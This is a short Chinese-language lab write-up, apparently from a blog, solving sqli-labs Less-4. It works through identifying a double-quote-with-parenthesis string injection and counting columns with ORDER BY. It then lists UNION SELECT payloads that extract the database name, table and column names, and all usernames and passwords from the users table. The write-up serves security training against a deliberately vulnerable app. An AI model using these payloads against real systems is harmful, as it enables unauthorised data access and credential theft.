[网络安全]sqli-labs Less-4 解题详析

判断注入类型

GET1" and "1"="1,回显如下:

GET1" and "1"="2
没有回显,说明该漏洞类型为GET型双引号字符型注入

判断注入点个数

GET1" order by 3 --+

由上图可知,sql语法中给$id加上了()
猜测后端语句为SELECT * FROM xx where id=("$id")
故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=("1") order by 3 --+")
即SELECT * FROM xx where id=("-1") order by 3

GET1") order by 3 --+

GET1") order by 4 --+
故注入点为3

查库名

GET-1") union select 1,2,database(); --+

回显库名security

查表名

-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

Payload:-1") union select 1,group_concat(username),group_concat(password) from 库名.表名; --+

实例如下:

-1") union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
黑客Ash27 分钟前
网络安全、Web安全、渗透测试之笔经面经总结
安全·web安全
黑客K-ing29 分钟前
什么是网络安全攻防演练,即红蓝对抗?
安全·web安全·php
码农君莫笑1 小时前
加密 SQLite 数据库管理研究
数据库·sql·sqlite
鸿永与1 小时前
『SQLite』约束怎么用
数据库·sqlite
liuzhilongDBA1 小时前
pg数据库运维经验2024
运维·数据库
背太阳的牧羊人2 小时前
使用 SQLite3 的基本操作步骤
数据库·sqlite
从后端到QT2 小时前
Android NDK开发入门2之适应idm环境
前端·javascript·数据库
背太阳的牧羊人2 小时前
使用 SQL 和表格数据进行问答和 RAG(6)—将指定目录下的 CSV 或 Excel 文件导入 SQLite 数据库
数据库·sql·langchain·sqlite·excel
唐梓航-求职中3 小时前
缓存-Redis-常见问题-缓存击穿-永不过期+逻辑过期(全面 易理解)
数据库·redis·缓存
潜洋3 小时前
Spring Boot教程之五十二:CrudRepository 和 JpaRepository 之间的区别
java·大数据·数据库·spring boot